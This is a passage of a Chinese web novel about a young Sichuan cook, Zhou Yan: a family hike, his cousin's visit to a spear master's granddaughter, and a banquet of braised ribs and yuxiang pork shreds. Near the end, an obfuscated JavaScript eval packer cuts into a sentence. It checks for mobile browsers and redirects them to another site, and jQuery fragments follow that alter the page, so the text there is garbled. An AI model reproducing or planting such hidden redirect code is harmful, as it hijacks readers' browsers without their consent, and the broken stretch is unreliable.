p>这一大家子吃的太香了，对于还饿着肚子，或者只带了馒头、饼干的他们来说，简直就是一场折磨。 但该说不说，卤猪头肉闻着可真香啊。 孩子们吃卤素菜也是吃的津津有味，赞叹连连。 小孩子在吃的上面是不会说谎的，他们绝对不会勉强自己吃难吃的东西。 所以他们对于这卤肉是哪一家的，同样深表好奇。 一会下了山，可以转去买一点回家晚上吃。 “大爷，这是我自己做的，我就是卖卤肉的。”周砚笑着道：“我的店开在苏稽，加州纺织厂门口第一家，周二娃饭店就是我开的，你要是想吃，哪天有空可以转来试试。” “苏稽啊？行，回头我一定来尝尝，我妹夫就是苏稽的。”老头笑着点点头。 其他人也是暗自记在心里。 苏稽离得不算远，哪天有时间还是可以去逛逛的。 吃过午饭，歇了一会，众人收拾好东西，不紧不慢地下山去了。 “锅锅，我腿腿好酸哦，要背背~”周沫沫拉着周砚的衣摆晃了晃，嘟着小嘴奶声奶气地撒娇。 “我来背！” “沫沫，杰哥背你嘛！” “明明哥也背得！” 周砚还没开口呢，一众堂哥已经围过来了，就连手上还缠着绷带的周明都是一脸殷勤。 “来嘛，我背！”周砚笑着把小家伙抱了起来，冲着堂哥们有些得意的笑道：“你们好好走，我背的动。” “你背累了跟我说哈，换我来背。”周杰和他叮嘱道，这才往下走。 帆娃看着已经坐到周砚肩上的周沫沫，眼里露出了几分羡慕之色，转而看着周飞道：“老汉儿，我也腿酸，我也想……” “你莫想，你都读小学了，还东想西想，你要累死谁吗。”赵红直接打断施法，顺手拧了一把他的耳朵，“周家的男儿，哪能走两步路都喊累。” 帆娃脸一红，点着脑袋道：“哦！不累了！” “去追你哥哥，他比谁都走得快！”赵红笑道。 帆娃也跟着咧嘴笑，屁颠颠顺着山道往下跑去追周立辉去了。 周沫沫坐在周砚肩上，一开始还叽叽喳喳说个不停，话越来越少，不一会就趴在他头上睡着了。 小家伙跑了半天，有点累着了。 周砚怕她睡不安稳，便让周杰帮忙把她从肩上抱下来，抱在怀里。 小小一只，趴在他怀里睡着，长长的睫毛微颤，就像一只小软糖一样。 “我来抱着坐车。”到了山下，赵铁英从周砚手里把周沫沫抱走，坐上了老周同志的车。 “周砚，你搭我顺路去个地方。”周明提着一个纸包走过来。 “上来嘛，明哥，你要去哪里。”周砚笑着问道。 “东风巷八号，往出城去苏稽方向走，快出城那里有个江记砂锅米线转进去就是。”周明爬上车说道。 “要得。”周砚和老周同志打了个招呼，骑上车载着周明先走了。 “我去拜访一下宋长河大师，这位老武师的枪法出神入化，当年曾在峨眉学艺，枪术相当精湛，实战能力更是一绝。不过我之前去过两回，连他的面都没见着，不知道这回能不能见到人。”周明坐在后座上说道。 “刘备求诸葛亮都只请了三回，这宋大师要是真那么难求，不如算球。”周砚笑道。 “你不懂，这宋长河他不一样。”周明笑着道，“抗战老兵，枪下是真杀过鬼子的，真正的**技，不是现在武术队的表演套路。如今老一辈武师渐渐老去，很多技艺如果再不收集，可能就真的消失了。” 周砚闻言肃然起敬，“那是该多去几趟。” 往城外走，看到砂锅米线店转进小巷，八号在巷子尽头，一座平平无奇的小院，院门禁闭。 周明从自行车上跳下来，整理了一下衣服，上前扣门。 过了一会，门内传来了一道年轻的女声：“谁啊？” “在下峨眉武术学校教师周明，特来拜访宋长河老先生，劳请通报。”周明朗声应道。 院里传来拔插销的声音，院门打开，是一个穿着素色衬衣配灰色半身长裙的年轻姑娘，身量不高，但形体极佳，黑色头发束成高马尾，五官深邃，长得颇为英气，鼻梁上架着一副金丝眼镜，手里拿着一本书，又添了几分书卷气。 她看了眼周明和后边扶着自行车的周砚，扶了一下眼镜开口道：“我爷爷不收徒，你请回吧。” “姑娘，你误会了，我不是来拜师的，我是峨眉武术保护与传承办的，我们现在在保护性收集峨眉武术传承，希望能够将更多的武术能够以文字资料的方式留存下来。”周明连忙解释道：“我……我希望能够见一见宋长河老先生，他是峨眉枪的代表性人物之一，如今并未收徒，这等枪法枪术不传承下来，属实可惜啊。” “你怎知就没有传承下来呢？”那姑娘抬眼看向周明，目光锐利了几分。 “嗯？”周明愣了一下，退后一步，表情严肃地拱手道：“是在下失礼了，原来姑娘是宋家枪传承人。” 那姑娘却笑了，看着周明笑吟吟道：“我叫宋婉清，在一中当语文老师，周老师，我可不是什么宋家枪传承人。说起来，我还是你学妹呢，一中的，比你小一届。我没记错的话，周老师应该受邀来一中给武术队集训吧？” “啊？”周明尴尬挠头，“我还以为你也是习武的。” 周砚在后边看得抠脚，明哥还真是被这姑娘**于股掌之间啊。 学妹好啊。 想当年明哥应该也是学校的风云人物，长得又高又帅，动不动就拿市级、省级的武术冠军，不知多少学妹芳心暗许。 瞧瞧这位宋学妹，不光一下认出周明是学长，还知道他下周要回一中集训。 至少是有关注的嘛。 “宋姑娘，那能不能劳请你通报一声，让我见见宋老先生。”周明看着宋婉清说到。 “不行，我爷爷犟得很，这事我做不了主。”宋婉清摇头，看着神色一黯的周明，又道：“回头我劝劝他吧，你们做的确实是保护峨眉无数传承的好事。” 今天晚点会有加更~求个月票！   (本章完) 第188章 味道，不摆了！（5k月票加更1433） “好，那就有劳你了。”周明将手里的茶叶给宋婉清递上，“这是我们学校后边山上的古茶树摘的茶叶，我的一点心意，给老先生尝尝。” 宋婉清伸手接过茶包，笑着点头：“好，我爷爷刚好爱喝茶，我会把你这份心意带到。” “告辞。”周明拱手。 “再见，周老师。”宋婉清微笑点头。 周明转身向着周砚走来，大门在他身后缓缓关上。 “明哥，你这事我看多半有戏。”回去的路上，周砚笑着说道。 “面都见不上，我看悬哦。”周明叹了口气道：“我之前找人打听过，宋长河以前说过，枪法只传宋家人，他有两个儿子，没一个对练武感兴趣的。” “那你要转变思路，想办法变成宋家人，这事不就成了？”周砚侧头道。 “啊？你在讲啥子？”周明有点懵。 “就刚刚那个宋婉清宋老师，他不是一中的老师吗，你现在又调回了一中。”周砚把车一刹，回头看着他一脸认真道：“东风巷八号的门敲不开，你不如试试能不能把宋老师的心门敲开，这样宋长河肯定乐意把枪法教你，三嬢今天许的愿望也成了。” 周明听得一愣一愣的，挠头道：“我是想学艺，怎么还能惦记人家姑娘呢，这不地道！” 周砚乐了，笑着道：“说不定宋学妹还惦记着你这周学长呢，反正你想学宋长河的枪，就得从宋婉清这里找突破口。不过，一定千万不要当舔狗，你得保持你武术冠军的逼格，可别崩人设啊。” “什么是舔狗？”周明认真问道。 “就是你明知道得不到她，还要对她好，呐，这就叫舔狗。”周砚看着他，语重心长道：“还有，别把‘她不一样’挂嘴边，舔狗也常常这样。” 周明幽幽道：“宋老先生是不一样。” “你看，你明知道得不到他，还要对他好，这不就是舔狗吗。”周砚摊手。 周明沉默了。 “对宋老师可不能这样了。”周砚语重心长道：“不然你舔不过来。” “靠！走了，回家！”周明伸手拍了拍他的后背，也忍不住笑了。 周砚笑着蹬着自行车走了，他不懂谈恋爱，但见不惯舔狗。 他可不想老周家满门忠烈，出个哥谭狂徒。 但那宋老师吧，一看段位就比明哥高不少，那一声声周老师，不得把他叫迷糊了啊。 回到饭店，大家已经在店里坐着了。 有的围着桌子打长牌，有的在门口的长凳上摆龙门阵，小孩们在门口的坝子上玩的不亦乐乎。 老太太和张正平在门口坐着闲聊。 张正平看到周砚和周明回来打了个招呼，起身笑着说道：“明天我就回去了，我去纪宏涛那边转一圈嘛。” “舅公，要不你把纪医生叫上，晚上一起过来吃个饭嘛。”周砚笑着说道。 “我们是家庭聚餐，喊他不合适嘛。”张正平摇头。 “有啥不合适，他是你学生，也是一家人嘛。”周砚上前一步，看着舅公降低了几分声音道：“纪医生是厂医院的副院长，厂医院的治疗条件比卫生院要好些，舅公介绍我们认识认识，以后要是家里有啥子急事，也能找得到熟人不是。” 张正平闻言笑了，颇为欣慰的看着周砚道：“你们老周家，也算是出了个会动脑经的人了，要得，我转过去看看，他要是不忙，我等会把他带过来嘛。” “好，那我就先去准备菜了。”周砚笑着点头。 有些话得挑明了说，以舅公和老太太的关系，肯定不会拒绝。 周砚吃定了这点，所以话说的非常直接。 家里有老人小孩，头疼脑热是免不了的。 能结交厂医院副院长的机会不多，有舅公这位授业恩师从中牵线，平日关系维系起来也会简单容易许多。 周砚打算混个脸熟，有啥事真进了医院，也能找到人帮忙。 而且到了副院长这个级别，在市医院那边多少还是会有些人脉，很多时候比他自个无头苍蝇一样乱窜有效得多。 老太太听到两人的对话，嘴角也是微微上扬。 张正平这话在理，老周家的男儿都认死理，脑子一根筋，不太会变通。 周砚不太一样，从他做生意开始，脑子变得活泛了，现在还会主动维系关系了。 这一点，他老汉儿几兄弟都学不会。 “周砚，要帮忙不？”周杰放下手里的牌，看着周砚问道。 “就三桌人，不用帮忙，你耍你的。”周砚笑着道，平日二十张桌子坐满还要翻台，现在才三点半，卤肉早上又提前卤好了，慢悠悠备菜都行，一点不慌。 “小叔，我来给你打下手！”周立辉跟着进了厨房。 “要得，你来洗菜烧火嘛。”周砚笑道，没拒绝这个小学徒。 炒菜不急，他先把牛腩和排骨炖在锅里，烧菜得提前准备，小火慢炖，才能烧出好味道。 然后开始备菜。 饭店后厨备菜的工作量其实不小，和炒菜不相上下。 周砚准备了很多小盘，菜备好还得按照一份的份量提前分装好，这样才能保证出餐效率。 墩子、打荷，这在大饭店可都是独立分工的。 周砚没办法，现在还只能自己先兼着。 “打荷是厨师非常关键的助手，负责衔接墩子和厨师之间这道工序，要把每道菜所需的食材准备好，从而提高厨师的出餐效率。”周砚招呼周立辉过来，开始跟他讲解一些菜的用量和分配方式。 厨师对于食材用量的把握是基本功，一名优秀的厨师，同时也是优秀的墩子和打荷，特别是小一些的饭店，基本上一人要兼顾全局。 周立辉听的很认真，按照周砚的要求开始分菜。 他现在每天早上来饭店帮忙，干的活其实也接近于打荷。 他负责给面调味和舀浇头，越做越熟练了，让周砚能腾出更多精力做拉面，极大提升面条的出餐效率。 这小子在调味上是有些天赋的，而且踏实肯干，天天早起来店里帮忙，从没有喊过一声苦和一声累，每天早上来都是活力满满的。 时间一晃，便到五点钟了。 周砚揭开一旁的两口小锅盖子，牛腩和排骨在锅里咕嘟冒着热气，香味随着热气扑面而来，夹起一块牛腩，红亮的牛肉颤颤巍巍，半透明的筋膜也染上了透亮的汤汁。 “尝尝。”周砚递向周立辉。 周立辉张嘴就接了过去，烫的龇牙咧嘴，哈着热气，过了一会才嚼了嚼咽下，点头道：“软了！味道刚好合适，好吃！” 周砚笑着点头：“我知道，就是让你先尝一块。” 周立辉咧嘴笑。 周砚把蜂窝煤炉下边的盖子盖上，这火转成小火，锅放在上边保着温，估摸着很快可以装盘上桌。 “师父，我去不太合适吧？我这刚下班还打着空手呢，多不好意思。”一个中年男人跟在张正平身旁，笑着摊手道。 “有啥子嘛，吃个便饭你还要送礼不成。”张正平脚步一顿，看着他道：“你一天天忙得很，星期日都要值班，我好不容易来一趟苏稽，你总要跟我吃个饭吧？” 纪宏涛一脸愧疚道：“那肯定噻！这次是我招待不周，下个月休假，我一定去牛华看你和师母，好好跟你喝两杯。” 张正平摆手道：“不用等下个月了，今天晚上我们师徒俩就好好喝两杯，反正你晚上又不用值班。” “要得，都听师父的。”纪宏涛笑着点头，跟着继续往前走，好奇道：“厂门口那个饭店是你孙外孙开的啊？我听同事讲了几回了，说味道不错，还没去吃过呢。” 张正平看着他道：“你这个人，就是工作太认真了，一心只有工作，对自己的生活不够上心，怕是一年到头都在食堂吃的三顿饭吧？” “也不是，周日不值班的时候还是会回家吃的嘛，过年也有几天假回蓉城，我妈做饭也好吃得很。”纪宏涛笑道。 “还是要给生活找点乐子，比如出门找点好吃的，吃完一天心情都变好了。”张正平语重心长道：“我们当医生的，看多了生离死别的场面，心态多少有点不好，要学会自我调节。” “我晓得了。”纪宏涛点头，跟在张正平身后，感觉自己好像又变成了当年刚到医院实习的毛头小子。 “你舅公他们来了！可以开始上菜了。”赵铁英在门口看到人，快步走进厨房道。 “要得，先上卤菜嘛，一桌一盘。”周砚点头，把最后一片卤牛肉装入盘中。 赵红跟着进了厨房，开始上菜。 “辉辉，烧火起锅！”周砚一边盛烧菜，一边说道。 “好！”周立辉应了一声，立马转到灶台后边开始生火，火柴引燃稻草，很快就把火烧了起来。 经过这段时间的历练，他已经成为已经合格的火头工。 张正平带着纪宏涛进了饭店，已经和众人做了介绍，和老太太还有周家五兄弟坐一桌。 孩子们坐一桌，几个堂兄弟和嫂子们坐一桌。 周砚端着两盘红烧排骨出来。 张正平笑着给纪宏涛介绍道：“这是周砚，这饭店就是他开的，前两天和周明还抓了四个小偷。” 纪宏涛看着周砚有些意外：“年少有为啊，年纪轻轻就开了这么大的饭店，我常听同事说起你家的菜味道巴适，没想到老板这么年轻帅气。” 这是实话，他还以为这饭店后厨有个老师傅坐镇，才能打响名气。 今天一见，没想到是个年轻帅小伙。 这么年轻的厨师，做菜好吃？ 医院食堂和厂食堂是分开的，他们有个小食堂，师父四十岁左右，手艺也只是一般。 周砚笑着道：“纪院长过奖了，我常听舅公提起你，说你是他的得意门生。” 纪宏涛闻言脸上笑容灿烂，“没丢老师的面子就算好的了。” “你们先坐着吃，不用等我哈，这天气菜一会就冷了，没了热气，味道就不巴适了。”周砚笑着说道，把手里的排骨放下，看了眼已经在小孩那桌的主位上坐着的周沫沫。 小家伙睡了一下午，到了饭店倒是及时醒来了。 “要得！”众人笑着应道。 周砚回到厨房忙碌起来，左边一锅炒回锅肉，右边先把鲫鱼煎上，双管齐下。 “排骨好好吃哦！” “好香！” “小叔好厉害啊！” 小孩那桌已经吃上了，童稚的惊叹声连连响起，引得众人都笑了。 周砚给他们备了两盘红烧排骨，都是加量的，免得他们为了争块排骨打起来。 这边，周淼已经把酒给大家倒上，小杯子，一杯三两左右，几乎都是满上的，包括老太太的。 老太太拿起筷子道：“不急着喝酒，先吃点菜垫垫。” 众人笑着点头。 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纪宏涛已经忍不住端起酒杯，笑着道：“这卤牛肉和卤猪头肉下酒太巴适了，来，我先敬师父和老太太还有周部长，以及各位兄弟，谢谢你们邀请我来参加这样特别的家宴。” 众人纷纷笑着举杯轻碰，抿了一口酒。 “周砚把老娘的卤味真的是学到精髓了，味道太巴适了，我都吃不出差别来了。”周清赞叹道。 “排骨也烧的安逸，一抿就脱骨，味道香得很。”周泽给老太太碗里夹了一块排骨，笑着说道。 他还是第一回来周砚店里吃饭，之前只吃过周砚做的卤味，听周杰说过周砚做的回锅肉好吃，但一直没好意思也没空上门吃。 今天尝到这红烧排骨，立马懂周杰说的那种感觉了。 周砚做的菜，确实不一样啊！ 他就没吃过谁家的排骨能做的那么好吃！ 纪宏涛闻言，已经忍不住夹了一块排骨喂到嘴里。 软烂的排骨牙齿一碰就咬开了，酱汁混着肉香在嘴里爆开，口感竟是如此的酥软缠绵！ 咽下之后，回味微甜，余香不绝。 这排骨！绝了啊！ 相比之下，他们食堂师傅做的烧排骨，经常不脱骨，味道偏咸辣，完全被秒杀。 排骨因为肉少，所以大家都不常吃。 但今天这份红烧排骨上桌才一会功夫，立马就空盘了。 平日稳重的一家人，竟也生出了几分到小孩那桌抢菜的冲动。 “魔法披风哈，人家娃娃就一个不辣的菜。”吴海燕瞪了周杰一眼。 “妈，我开玩笑的，哪可能做出这种事嘛。”周杰尴尬笑了笑。 好在牛肉烧笋干及时补上空缺，又引来了声声惊叹。 “这笋干吸饱了牛肉汤汁，硬是比肉都好吃！”纪宏涛已经把饭打上了，吃了一块笋干，扒拉了一大口米饭，赞叹不已。 夹起一块牛肉喂到嘴里，肥瘦相间的牛腩一咬就在嘴里散开，软糯的筋膜点缀其中，浓浓的酱香，带着些许辣气，油润爽口，一口下去，可太满足了。 他现在想跟周砚说声对不起。 先前是他心里把他看轻了。 厨艺这种东西，跟年龄没关系！ 天才厨师，二十岁就能做出令人惊叹的美食。 没错，就像周砚这样的。 回锅肉、火爆猪肝、麻婆豆腐逐一端上餐桌。 被惊艳的不止纪宏涛，还有老周家众人。 平时大家都忙，就算是周杰、周明他们来吃过一两回的，那也只吃了有限的几个菜。 其他人更是还没尝过周砚做卤菜以外的手艺。 今天周砚是按着菜单给大家上的菜，一道接一道的拿手好菜，吃的众人惊叹连连。 纪宏涛吃完了两碗饭，酒也满上第二杯了。 “师父，我终于晓得你说的乐子是啥了，享受美食，果然是会让人心情变得美好啊。”纪宏涛看着张正平笑着道：“吃席都吃不上这么好吃的菜！每道菜各有风味，味道简直不摆了。” 今天的这顿饭，气氛确实比吃席还热烈。 孩子们都不用喂饭，自个端着碗抢着吃，可省心了。 嬢嬢们和嫂子们既高兴又有点受打击，平时在家炒个家常菜，手艺大差不差，一年到头下不了两回馆子，也不觉得自己的厨艺差。 可今天吃了周砚做的菜，一吃一个不吱声。 各家都杀牛，牛腩谁家没有啊？ 可谁能把牛腩和笋干烧出这味道来啊！ 特别是回锅肉，这可是人人都觉得是自己的拿手菜。 可周砚炒的这蒜苗回锅肉，味道和口感硬是不一样！ 皮子香糯，肥肉入口即化，瘦肉硬是一点都不柴，嚼起来是弹牙的口感，吃起来肥而不油，香而不腻！ 硬是把一众家庭主妇都吃的服气的很。 “铁英，等会一定要让周砚教教我这个回锅肉怎么炒，教个大概都可以，这味道太巴适了。”吴海燕拉着赵铁英的手，一脸诚挚的说道。 “四嬢，我们也想学！”一众堂嫂纷纷开口道。 “要得，等会让周砚跟你们讲讲要点和技巧嘛。”赵铁英笑着点头。 “学啥子？”周砚端着托盘出来，笑着道：“来，最后一道菜，鱼香肉丝。” 众人眼睛顿时一亮！ 【一份完美的鱼香肉丝】 …… 一万一，求月票！ (本章完) 第189章 什么叫完美的鱼香肉丝？（64k二合一 第189章什么叫完美的鱼香肉丝？（6.4k二合一） 周砚把三份色泽红亮的鱼香肉丝给大家上了桌。 立马把众人的目光吸引。 这是最后一道菜，也就是压轴菜，没想到周砚选的是鱼香肉丝。 鱼香肉丝是家常菜，级别与回锅肉可以媲美，川渝人家，家家都会做，就是味道嘛，千人千面，各有千秋。 所谓家常菜，本就是没有定式的。 每一个主妇在烹饪过程中，总会产生一些奇思妙想，今天添一样配料，明天家里少样调料，反正只要菜上桌，味道过得去，足够下饭，那今天这道菜就没白炒。 但今天周砚做的这份鱼香肉丝不太一样，绿色的青笋丝，配上黑色的木耳丝，裹着红油的肉丝，色泽红亮，在白色的餐盘中撞出了漂亮的色彩搭配，给人一种鲜亮的感觉。 “我们说，一会要让你教我们炒回锅肉，我看这鱼香肉丝也巴适得很，你给我们指点指点，学到几分，在家里炒菜都要好吃些。”吴海燕笑着说道。 其他嬢嬢和嫂子也是纷纷笑着应和道。 “那肯定要得噻，等会吃了饭，尽管问。”周砚笑着点头。 周卫国往旁边挪了点，招呼道：“周砚，坐这嘛。” “要得，小叔。”周砚笑着应道，把托盘放一旁，拿了碗筷在周卫国身边坐下。 “今天时间匆忙，菜式比较简单，没得啥子大菜，大家还吃得惯不？”周砚看着众人笑着道。 “就这还简单啊！十多个菜，个个都是大肉大荤！” “就是，桌子都摆不下了。” “味道太巴适了！每一道菜都烧的好吃。” “小叔，你做菜比我妈妈好吃一百倍！” “帆娃！你说话注意到点哈！你妈妈也是要面子的……” “哈哈哈~~” 众人夸赞连连，就连小孩那桌都在夸。 看得出来，大家确实吃的很满意，脸上的笑容不会骗人。 老周家聚餐的氛围太好了，每个人都能聊的很开心，没有什么攀比之风，也不去提扫兴的话题。 就连别家催婚的保留节目，在老周家的饭桌上也是不许提的。 这是老太太定的规矩。 饭桌上只能讲高兴的事，没话就闭嘴，别没话找话。 真有什么事要商量，那就得等吃完饭再说。 周砚坐下，桌上的菜还有不少。 纪宏涛看着周砚笑着说道：“小周同志，你这厨艺太好了，一点不比蓉城大饭店的老师傅差！这麻婆豆腐，整的比蓉城的陈麻婆豆腐都安逸，我饭都干两碗下去了。” “纪院长过奖了，我要学的还多。”周砚谦虚道。 “你这年轻人，太谦虚了。”纪宏涛摇头，看着那份刚上来的鱼香肉丝道：“你看看这鱼香肉丝，我家背后就是蓉城餐厅，鱼香肉丝和回锅肉是他们小炒里面的招牌菜，我每次回去都要带婆娘和两个娃娃去吃。” “你看你这个鱼香肉丝，散籽亮油。 所谓散籽，便是肉丝和配菜丝呈散落状态，互不粘连，有些厨师炒的肉丝，全部黏成坨坨，勾芡下手太狠了，吃起来满口糊糊。 亮油的标准是一线油，围着鱼香肉丝周围这一圈油的宽度不超过一线，润而不腻。 配菜不加乱七八糟的东西，就是木耳和青笋。 酸辣的香气闻着很正宗，妥妥的鱼香味。 我老汉儿和他们后厨的张大爷是好朋友，这标准还是他跟我说的。 蓉城餐厅后厨能把鱼香肉丝炒出这种水准的师父不超过五个，你说你还谦虚啥子呢。” 纪宏涛这番话把众人听得一愣一愣的。 酸辣的香气随着热气扑鼻而来，似乎都变得更香了几分。 “您是真的懂这道菜的。”周砚也是笑着道，纪宏涛的这番点评相当到位。 鱼香肉丝是家常菜，但上了饭店菜单，那就有点讲究了。 肉要选用三肥七瘦的二刀肉，大多数饭店用的是纯瘦的里脊肉，相比之下，二刀肉的口感更细嫩，炒出来更滋润。 肉切成二粗丝，用盐和水豆粉先提前码味。 这道菜的经典配料是青笋和木耳，到了冬天没有青笋，也有加冬笋的，顺应季节做一些替代。 南北，甚至川、渝之间，都有着不少差别。 山城的鱼香肉丝多数配菜只加葱段，不加其他素菜，主打一个纯粹。 他今天用的是青笋和木耳，这也是最后一茬青笋了，太老了，周砚买了两斤青笋，去皮又剥丝，只刮出来三盘配菜的量。 天气渐冷，他还得考虑用冬笋来做这道菜。 鱼香肉丝选用配料非常关键的一点，就是不能破坏鱼香味，所以选用的都是本味较为清淡的。 这道菜难就难在调味上，鱼香芡粉滋汁是以白糖、酱油、醋、葱花、水豆粉和水调制而成，比例相当考究，稍不注意就会偏甜和偏酸。 周砚做探店视频的时候，鱼香味的菜经常会踩坑，要么甜的发腻，要么酸的牙疼，能把味道调明白的师父不多。 “我尝尝看味道如何。”纪宏涛拿起筷子，夹了一筷子的鱼香肉丝喂到嘴里，细细品味，眼睛很快亮了起来，咽下后，立马赞叹道：“微甜、微酸、微辣，姜葱蒜的香味非常突出，泡二荆条的味道太对了，就是正儿八经的鱼香味，肉丝的肉质滋润爽口，口感细嫩爽滑！” “青笋丝口感脆爽，带着点清香，木耳柔软中又带点脆感，和鱼香肉丝实在是太搭了！味道巴适得板！” “这鱼香肉丝，不摆了！再干一碗饭！” 纪宏涛扒把碗里剩下的一口米饭扒拉完，起身盛饭，以示尊重。 众人闻言纷纷动筷。 “咸香酸辣带点回甜，这鱼香硬是巴适，要是做鱼香茄子，味道肯定也好。”张正平尝了一筷子，同样连连点头，看着周砚笑道：“你娃娃菜做的太好吃了，等你舅婆的腿好了，我一定要带她来苏稽住一个月，一天三顿都来你店里吃，把那点退休金全部在你这里花光。” “你和舅婆尽管来吃就是，还花啥子钱。”周砚笑着摇头。 “那你就不懂事了噻，你要不收钱，我和你舅婆好意思来啊？那我吃一顿就要走。”张正平摇头，“做生意的时候，你要把我当客人，把菜的味道给我整好，份量给我整够，那你就算是有孝心的。” 周砚点头：“要得，舅公说了算。” “老师就是这么有原则的人，这么多年一点都没变。”纪宏涛把碗放下，笑着给张正平又添了半碗米饭。 这顿饭他吃的可太舒服了，虽然是家宴，但老周家的每个人都非常友好且有涵养。 没有刻意攀附，也没有明显的功利心。 倒是他空着手来的，吃了这么一顿好吃的饭菜，喝了半斤好酒，这会有点不好意思了。 再说了，老周家出了两位一等功臣，周卫国才三十三岁已经是副科级，还不知道谁攀附谁呢。 “周部长，我敬你。”纪宏涛端起酒杯笑着说道。 “纪院长客气了。”周卫国端起酒杯和他轻轻碰了一下。 周砚不喝酒，以茶代酒把桌上的长辈敬了一圈，放下杯子，开始安心吃饭。 他先尝了一口鱼香肉丝，咸香酸辣甜，五味俱全，酸香来自于醋，也来自于泡二荆条，是鱼香味的点睛之笔。 甜味并不突出，咽下后有点回甘，起到了提鲜的功效。 二刀肉的口感确实更油润爽口，这点是纯里脊肉无法比拟的。 味道甚至超出了他的预期！ 什么叫完美的鱼香肉丝啊？ 没错！ 就是这样的！ 周砚的广告之魂已经开始燃烧了。 不过，这道菜要是热卖的话，那二刀肉的消耗量又得上涨不少啊。 好在章老三已经帮他打通了嘉州的猪肉供应链，增加一些供应应该不成问题。 而从大家吃鱼香肉丝的反馈来看，这道菜大概率是能够受到客人们喜欢的。 “幺姑，最后一块红烧排骨给你吃嘛。” “幺姑，你尝尝这个肉丝，酸酸辣辣，还有点甜，不是很辣哦。” “幺姑……” 隔壁桌的孩子们轮流给周沫沫夹菜，尊敬中又透着几分宠溺是怎么回事？ 周砚回头，看着端坐主位，等着自家侄子们投喂的小家伙，忍不住笑了。 挺好的，被照顾的很好。 有这么一群侄子，在苏稽走到哪都不会被熊孩子欺负。 第三碗饭吃完，第二杯酒也下了肚，纪宏涛和恩师聊了许久，等大家都吃饱了，才带着几分醉意起身告辞。 周砚把人送出门。 “今天值班，下了班慌慌忙忙打起空手来吃饭，啥子都没带，实在不好意思。”纪宏涛抓着周砚的手，带着几分微醺醉意道：“小周，你是我师父的外孙，那也是我的晚辈，以后有啥子事需要帮忙，你就来医院找我，我要是帮得上，肯定没得二话。” 等的就是您这话了，周砚笑着道：“要得，需要我送纪叔回去不？我看你还是有点醉意了。” “不管事，家属院又没得好远，六两酒还算可控，我吹吹风，清醒点回去刚好合适，不然回去只能睡书房了。”纪宏涛笑着拍了拍周砚的手臂，“你回去嘛，下回我带我老婆和两个娃娃过来吃饭。” “好，那你慢走。”周砚点头，看着纪宏涛离开，确认他走的路线比较直，而且靠着墙走后，才转身进店。 也是，人家副院长，不可能就六两的酒量。 “周砚，你等会再开讲哈，等我们把碗洗了。” “鱼香肉丝好吃哦，鱼香味怎么调的这么巴适，也要跟我们说说。” 嬢嬢、嫂子们正在收桌，看着周砚进来，纷纷笑着说道。 “要得，我把料汁调配的比例都写给你们。”周砚笑着点头，从柜台后边拿出纸笔，一口气写了七八份家庭版简易菜单。 做了点减法，做法更简单，但只要严格执行，家常味道绝对不会差，日常聚餐绝对拿得出手。 这么多人帮着干活，三桌碗筷一会就洗好了。 男人们也没闲着，扫地擦桌子，把厅堂收拾的干干净净。 就连孩子们都帮着搬凳子，倒垃圾。 周砚写好菜谱，走进厨房。 周老板家常菜课堂开课了。 “回锅肉非常重要的一点，就是肉要选对，不要用五花肉，要用二刀肉，这样炒出来的回锅肉口感才好……” “鱼香肉丝用的也是二刀肉，要挑瘦点的，三肥七瘦的最好。肉切二粗丝，就像这么大一根，鱼香味的关键是泡二荆条，泡椒味道要正，酸香和辣气都从这里来，芡粉滋汁的调配比例决定了味型，配方和简易做法我已经写在上面了……” 妇女们听得可认真了。 男人们在厨房门口站着，一个个也是伸长脖子，竖起耳朵认真听着。 川渝男人会下厨的不少，特别是涉及到回锅肉和鱼香肉丝，那股不服输的劲头立马就上来了。 周砚讲的东西很细也很实操，肉煮多少分钟，什么样的状态，切多厚，炒的时候怎么把控火候。 只要是有做菜基础的，都能听个大概。 至于回去之后能不能复刻出来，像几分，那就看个人能力了。 周杰听完信心满满道：“我学会了，明天就去割一斤二刀肉回来，一半炒回锅肉，一半炒鱼香肉丝！” “你要做得出一半周砚做的味道，我出钱买肉。”周泽开口道。 “老汉儿，你说的哈！先把钱给我。”周杰笑道。 周泽摇头：“哪有先给钱的道理，你先做，味道对了我才给钱，不对就你自己给。” 众人闻言都笑了。 时间还早，回家也没啥娱乐项目，众人就在店里喝着茶摆龙门阵，刚好醒醒酒。 “这楼房是比乡下的土房子安逸，密不透风的，还不用怕被雨水冲垮。” “刷了石灰看着比土墙清爽倒是真的，空间也大，那么大一个客厅，以后打个大沙发，等过年再弄台电视机就巴适了，大家一起来看新年联欢晚会。” “电视机贵得很哦！我听说14吋的黑白电视要四百多块钱一台，而且还买不到。” “黑白电视都算便宜的了，我上回去百货公司，看到小日本的进口货，18英寸的彩电要1200元一台呢！” 大家中午已经参观了二楼，说起他们这新家，也是赞不绝口。 本来大家对他们家的房子塌了，不得不搬到镇上暂住还挺揪心的，今天参观完，反倒有些羡慕上了。 玩了一天的孩子们开始犯困，众人这才意犹未尽的起身告辞。 “周砚，明天早上我来你店里吃碗面再去坐班车，看看你做的面条味道如何。”张正平坐上自行车后座，和周砚说道。 “要得，舅公，我把面给你留一份，你早点、晚点来都行。”周砚笑着点头。 老太太满眼欣慰地看着他说道：“今天安排的很巴适，你还是会的嘛。” “就简单一顿便饭，等过年我给大家做团年饭，再搞的隆重点。”周砚笑着道。 老太太点头：“要得，那今年的团年饭就你来安排了。” “没得问题！”周砚笑着点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292658|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，作为家里唯一的专业厨师，自然不得怂。 “奶奶、舅公、伯伯、嬢嬢、小叔、锅锅些，嫂嫂些，侄儿些，拜拜！”周沫沫站在门口，冲着大家摆手。 小小年纪，倒是面面俱到，把人都喊齐了。 “沫沫拜拜。”众人笑着跟她说道，骑上车走了。 一道道手电筒把路给照亮了。 “锅锅，啥子是电视呢？新年联欢晚会又是啥？”周沫沫抬头望着周砚问道，眼里满是好奇。 